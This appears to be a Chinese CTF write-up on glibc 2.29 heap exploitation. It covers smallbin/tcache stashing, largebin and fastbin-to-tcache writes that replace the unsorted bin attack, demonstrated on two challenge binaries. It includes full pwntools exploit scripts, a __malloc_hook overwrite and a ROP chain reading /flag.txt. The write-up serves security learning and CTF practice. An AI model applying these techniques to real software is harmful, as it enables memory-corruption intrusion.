如今glibc已經(jīng)發(fā)布了glibc 2.31版本,利用也變得越來越難,主要原因是新的版本中加入了更多的check,不過現(xiàn)在大多數(shù)的題目還是基于glibc2.23 2.27和2.29這3個(gè)版本。我們知道,glibc2.29相對(duì)于glibc2.23加入了更多的保護(hù)措施,而glibc2.29下對(duì)unsortedbin的保護(hù)措施相當(dāng)于直接扼殺了unsortedbin attack,使其基本成為了過去式。本文將介紹一些glibc2.29下unsortbin attack的代替方法。
回顧
首先讓我們回顧下unsortbin attack
的原理和作用,這里選取了glibc2.23的malloc.c的源碼:
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
我們可以看到,這里只check了size是否合法,而size一般都會(huì)滿足條件,所以這個(gè)check形同虛設(shè),緊接著的unsortedbin的解鏈操作:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
當(dāng)將一個(gè) unsorted bin 取出的時(shí)候,會(huì)在 bck->fd的位置寫入 unsorted_chunks (av) 。換句話說,如果我們控制了 victime->bk的值,我們就能控制bck的值,就能將 unsorted_chunks (av)寫到任意地址 。這個(gè)值相當(dāng)?shù)拇螅覀円话阌脕砉?global_max_fast ,使得更大size的chunk也被視為fastbin,從而進(jìn)行fastbin attack;還有一個(gè)非常經(jīng)典的利用就是house of orange。
接著來看glibc2.29中的源碼:
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
我們可以看到glibc 2.29先對(duì)于2.23來說對(duì)unsorted bin加入了更多的check,其中雙向鏈表的完整性檢查對(duì)我們的利用來說是致命的,這也導(dǎo)致unsorted bin在glibc 2.29下幾乎不可利用,所以我們要尋找一些代替的方法。我們以hitcon2019 quals One-punch-Man這題來實(shí)踐下方法1和方法2,再以今年某新春公益賽的一題實(shí)踐下方法3
程序分析
保護(hù)全開,libc版本是2.29,有seccomp:
ruan@ruan:/mnt/hgfs/shared/hitcon2019/one_punch$ seccomp-tools dump ./one_punch
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
retire函數(shù)里的UAF:
void retire()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]
writen("idx: ");
v0 = get_int();
if ( v0 > 2 )
error((__int64)"invalid");
free((void *)chunks[v0].ptr);
}
debut函數(shù)會(huì)先把我們的輸入讀入到棧上,然后才復(fù)制到申請(qǐng)的堆塊中,所以可以利用這來進(jìn)行rop
unsigned __int64 __fastcall debut(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+8h] [rbp-418h]
signed int v4; // [rsp+Ch] [rbp-414h]
char s[1032]; // [rsp+10h] [rbp-410h]
unsigned __int64 v6; // [rsp+418h] [rbp-8h]
v6 = __readfsqword(0x28u);
writen("idx: ");
v3 = get_int();
if ( v3 > 2 )
error((__int64)"invalid");
writen("hero name: ");
memset(s, 0, 0x400uLL);
v4 = read(0, s, 0x400uLL);
if ( v4 <= 0 )
error((__int64)"io");
s[v4 - 1] = 0;
if ( v4 <= 0x7F || v4 > 0x400 )
error((__int64)"poor hero name");
chunks[v3].ptr = (__int64)calloc(1uLL, v4);
chunks[v3].sz = v4;
strncpy((char *)chunks[v3].ptr, s, v4);
memset(s, 0, 0x400uLL);
return __readfsqword(0x28u) ^ v6;
}
一個(gè)后門選項(xiàng):
__int64 __fastcall sub_15BB(__int64 a1, __int64 a2)
{
void *buf; // [rsp+8h] [rbp-8h]
if ( *(_BYTE *)(heap_base + 0x20) <= 6 )
error((__int64)"gg");
buf = malloc(0x217uLL);
if ( !buf )
error((__int64)"err");
if ( read(0, buf, 0x217uLL) <= 0 )
error((__int64)"io");
puts("Serious Punch!!!");
puts(&unk_2128);
return puts(buf);
}
題目的debut函數(shù)用的是calloc函數(shù),意味著進(jìn)入了tcache的堆塊是不會(huì)在被取出來了(具體原因可以參考calloc源碼),但是后門函數(shù)里用的是malloc,所以我們的目標(biāo)就是要使得*(_BYTE *)(heap_base + 0x20) > 6,已達(dá)到利用后門的效果
方法1
很自然的想到要是能用unsortedbin attack就好了,但是這在glibc2.29下是行不通的,原因就是前面分析過的,glibc2.29對(duì)unsortedbin進(jìn)行了全方位的檢查。
我后來谷歌了下wp(https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312),找到了一篇wp,里面用的方法有點(diǎn)類似于unsortedbin attack,不得不佩服大佬的思路。
文章里提到的方法是,當(dāng)從smallbin里申請(qǐng)一個(gè)堆塊的時(shí)候,會(huì)把剩下的smallbin也鏈入相對(duì)應(yīng)大小的tcache,前提是相應(yīng)大小的tcache沒滿,相對(duì)應(yīng)的源碼為:
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{// 如果smallbin里相對(duì)應(yīng)大小的tcache沒滿的話,就鏈入tcache
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
此處是沒有對(duì)smallbin進(jìn)行check的:
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
所以我們可以偽造tc_victim->bk,然后到了bck->fd=bin這一句,就可以向一個(gè)地址寫入一個(gè)libc的值了,類似于unsortedbin attack,要注意的話就是相對(duì)應(yīng)大小的tcache bin為6個(gè),這樣的話tcache_put后,就會(huì)退出循環(huán)(tcache相同size的chunk最多7個(gè)),把chunk返回,不會(huì)造成段錯(cuò)誤
這里還有個(gè)大問題,就是程序申請(qǐng)的堆塊大小范圍在0x7f~0x400之間,所以在tcache沒滿的情況下,free后都會(huì)進(jìn)入tcache,那要怎么讓一個(gè)大小的堆塊,比如0x100大小的堆塊,相對(duì)應(yīng)的tcache bin有6塊,而smallbin有兩塊呢,這里用到了last_remainder:
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
比如我們把unsortedbin切成0x100的大小,如果在calloc一個(gè)比這個(gè)大的chunk,那這個(gè)unsortedbin就會(huì)被放到相對(duì)應(yīng)大小的smallbin,對(duì)應(yīng)的源碼為:
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
這樣的話一切條件都有了 😛
還有一點(diǎn)要注意的是,我們用這個(gè)方法把heap+0x30的地方改寫了,這樣的話其實(shí)tcache會(huì) corrupt 掉:
pwndbg> bins
tcachebins
0x100 [ 7]: 0x563a59056000 —▸ 0x563a59053760 —▸ 0x563a59053660 —▸ 0x563a59053560 —▸ 0x563a59053460 —▸ 0x563a59053360 —▸ 0x563a59053260 ◂— 0x0
0x1d0 [-112]: 0x0
0x1e0 [-19]: 0x0
0x1f0 [-41]: 0x0
0x200 [-45]: 0x0
0x210 [-99]: 0x0
0x220 [125]: 0x0
0x410 [ 7]: 0x563a590550c0 —▸ 0x563a59054cb0 —▸ 0x563a590548a0 —▸ 0x563a59054490 —▸ 0x563a59054080 —▸ 0x563a59053c70 —▸ 0x563a59053860 ◂— 0x0
所以我們要在攻擊前先申請(qǐng)一個(gè)0x217大小的堆塊,然后釋放掉,在攻擊
exp為:
from pwn import *
context.arch = 'amd64'
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def cmd(c):
p.recvuntil("> ")
p.sendline(str(c))
def add(idx,name):
cmd(1)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("name: ")
p.send(name)
def dele(idx):
cmd(4)
p.recvuntil("idx: ")
p.sendline(str(idx))
def show(idx):
cmd(3)
p.recvuntil("idx: ")
p.sendline(str(idx))
def edit(idx,name):
cmd(2)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("name: ")
p.send(name)
def main(host,port=26976):
global p
if host:
p = remote(host,port)
else:
p = process("./one_punch")
# debug(0x0000000000015BB)
# gdb.attach(p)
for i in range(2):
add(i,"A"*0xf8)
dele(0)
dele(1)
show(1)
p.recvuntil(": ")
heap = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x260
for i in range(4):
add(0,"A"*0xf8)
dele(0)
for i in range(7):
add(0,"A"*0x400)
dele(0)
for i in range(2):
add(i,"A"*0x400)
dele(0)
show(0)
p.recvuntil(": ")
libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x1e4ca0
info("heap : " + hex(heap))
info("libc : " + hex(libc.address))
add(1,"A"*0x300)
add(2,"A"*0x400)
add(1,"A"*0x400)
dele(2)
add(1,"A"*0x300)
add(1,"A"*0x400)
add(0,"A"*0x217)
payload = b"\x00"*0x108+b"/flag.txt"+b"\x00"*(0x7+0x1f0)+p64(0x101)+p64(heap+0x27d0)+p64(heap+0x30-0x10-5)
edit(2,payload)
dele(0)
add(2,"A"*0xf8)
edit(0,p64(libc.symbols["__malloc_hook"]))
cmd(str(50056))
p.send("C"*8)
cmd(str(50056))
p.send(p64(libc.address+0x000000000008cfd6))
# pause()
# 0x000000000008cfd6: add rsp, 0x48; ret;
# 0x0000000000026542: pop rdi; ret;
# 0x000000000012bdc9: pop rdx; pop rsi; ret;
# 0x0000000000047cf8: pop rax; ret;
# 0x00000000000cf6c5: syscall; ret;
p_rdi = 0x0000000000026542+libc.address
p_rdx_rsi = 0x000000000012bdc9+libc.address
p_rax = 0x0000000000047cf8+libc.address
syscall_ret = 0x00000000000cf6c5+libc.address
payload = p64(p_rdi)+p64(heap+0x2df8)+p64(p_rdx_rsi)+p64(0)*2+p64(p_rax)+p64(2)+p64(syscall_ret)
payload += p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)
payload += p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)
payload += p64(p_rdi)+p64(0)+p64(p_rax)+p64(0)+p64(syscall_ret)
payload = payload.ljust(0x100,b"\x00")
gdb.attach(p)
add(2,payload)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
main(args['REMOTE'])
方法2
方法2是Balsn戰(zhàn)隊(duì)的wp(https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man)里用到的largebin_attack,首先我覺得一個(gè)難點(diǎn)是這題申請(qǐng)的堆塊最大為0x410,怎么把大小比0x410還大的unsortedbin放入largebin是第一個(gè)要解決的問題,所以從源碼入手:
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
這是判斷是否要把last remainder進(jìn)行切割的代碼,如果條件不滿足的話就會(huì)進(jìn)入下面的代碼:
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
//我們使得size != nb,跳過這個(gè)代碼塊
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
.........................................................
}
#endif
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{// 將chunk置入largebin
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
所以wp里的堆布局為:
這樣當(dāng)我們malloc(0x200)的堆塊時(shí),就會(huì)不滿足bck == unsorted_chunks (av)和if (size == nb)從而把這個(gè)chunk(0x5601e80414c0)置入largebin中,第二次循環(huán)的時(shí)候,發(fā)現(xiàn)unsorted bin的size剛剛好,直接就取出返回
largebins
0x400: 0x5601e80414c0 —▸ 0x7f58e3c64090 (main_arena+1104) ◂— 0x5601e80414c0
這樣的話就解決了這個(gè)問題,剩下的就是怎么進(jìn)行l(wèi)argebin_attack了,原理為:
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else //要放入的chunk是largebin
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else //原本在largebin(fwd)的size和要放入的largebin(victim)的size不等
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim; //!!!!
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
所以我們可以利用程序里的UAF漏洞偽造好fwd->bk_nextsize,隨后的victim->bk_nextsize->fd_nextsize = victim;就會(huì)在fwd->bk_nextsize+0x20的位置寫入victim這個(gè)值,如果我們讓這個(gè)堆地址寫入到heap_base+0x20的位置就能使用后門函數(shù)了,這里要注意的一個(gè)點(diǎn)就是待插入的chunk的size要和已經(jīng)在largebin里的chunk的size不相等。
來看看效果:把unsortedbin放入largebin之前
放入后(這里的堆基地址為0x565505852000)
可以看到0x220大小的chunk被改為了有48個(gè),這樣我們就可以利用后門函數(shù)申請(qǐng)到__malloc_hook了
具體的exp見 https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man
方法3
方法3是在打今年某公益ctf的時(shí)候?qū)W到的,題目名字叫signin
程序邏輯很短,只能add10次:
dele后flags會(huì)置零,但指針沒置零,故可以UAF:
但是不能double free,因?yàn)間libc2.29在free tcache的時(shí)候會(huì)對(duì)tcache進(jìn)行check:
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
還有就是僅有的一次edit機(jī)會(huì)和一個(gè)后門,不過后門要滿足bss段中的ptr不為零:
這里一開始想到的也是unsortedbin attack,如果能攻擊到bss段中的ptr,那我們就能getshell了,但是這題申請(qǐng)的堆塊固定了是0x70,故也就不能利用unsortedbin attack
我們可以看到這個(gè)backdoor函數(shù)很詭異,為什么要平白無故調(diào)用一個(gè)calloc,然后又想到程序限制了申請(qǐng)的堆塊大小為0x70,是在fastbin的范圍里,順著這兩點(diǎn),去看源碼,最后找到了利用點(diǎn):
static void *
_int_malloc (mstate av, size_t bytes)
{
...............................
#if USE_TCACHE
size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif
checked_request2size (bytes, nb);
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
.....................................................
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
...................................
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
我們可以看到這句注釋:/* While bin not empty and tcache not full, copy chunks. */,應(yīng)該是fastbin再取下一塊之后,如果fastbin還有剩余,而且對(duì)應(yīng)大小的tcache沒滿,就把它放到對(duì)應(yīng)大小的tcache,而且這里沒有任何檢查,在跟進(jìn)去tcache_put:
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
這有句e->key = tcache;這是為了檢查tcache的double free,如果我們偽造了那個(gè)fastbin chunk,我們就可以往chunk+0x18的位置寫入tcache的值,效果和原來的unsortedbin attack很像。效果:
pwndbg> bins
tcachebins
0x80 [ 6]: 0x21c84e0 —▸ 0x21c8460 —▸ 0x21c83e0 —▸ 0x21c8360 —▸ 0x21c82e0 —▸ 0x21c8260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x21c8650 —▸ 0x4040a8 ◂— 0xffffffff00000000
調(diào)用calloc后:
pwndbg> bins
tcachebins
0x80 [ 7]: 0x4040b8 (completed) —▸ 0x21c84e0 —▸ 0x21c8460 —▸ 0x21c83e0 —▸ 0x21c8360 —▸ 0x21c82e0 —▸ 0x21c8260 ◂— 0x0
pwndbg> telescope 0x4040b8+8
00:0000│ 0x4040c0 (ptr) —▸ 0x21c8010 ◂— 0x7000000000000
01:0008│ 0x4040c8 ◂— 0x0
成功把tcache寫入ptr,這也是為什么后門函數(shù)在一開始會(huì)有個(gè)詭異的calloc,順帶一提的是calloc不會(huì)使用tcache里的堆塊
exp:
from pwn import *
context.arch = 'amd64'
def cmd(c):
p.recvuntil("your choice?")
p.sendline(str(c))
def add(idx):
cmd(1)
p.recvuntil("idx?")
p.sendline(str(idx))
def dele(idx):
cmd(3)
p.recvuntil("idx?")
p.sendline(str(idx))
def edit(idx,content):
cmd(2)
p.recvuntil("idx?")
p.send(str(idx).ljust(0xf,"\x00"))
p.send(content)
def main(host,port=4205):
global p
if host:
p = remote(host,port)
else:
p = process("./pwn")
gdb.attach(p,"b *0x000000000401343")
# gdb.attach(p)
for i in range(9):
add(i)
for i in range(9):
dele(i)
edit(8,p64(0x0000000004040C0-0x18))
add(1)
cmd(6)
p.interactive()
if __name__ == "__main__":
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
# elf = ELF("./re-alloc",checksec=False)
main(args['REMOTE'])
后記
3種方法都介紹完畢了,這里在提一下glibc源碼調(diào)試,這對(duì)我們解決題目有很大的幫助:
先下載一個(gè)Ubuntu19.04,用VMware裝上,或者用docker去pull一個(gè)Ubuntu19.04的鏡像
接著
搞好后,在程序運(yùn)行時(shí)gdb貼上去/usr/src/glibc/glibc-2.29/是源碼目錄,然后后面的文件夾要自己指定下,比如我想源碼調(diào)試malloc里的函數(shù):666.jpg
如果沒敲directory /usr/src/glibc/glibc-2.29/malloc,就不會(huì)出現(xiàn)相對(duì)應(yīng)的源碼,個(gè)人覺得還是挺方便的,特別是涉及到chunk分配的時(shí)候,看著相對(duì)應(yīng)的源碼一行一行的debug,體驗(yàn)很好。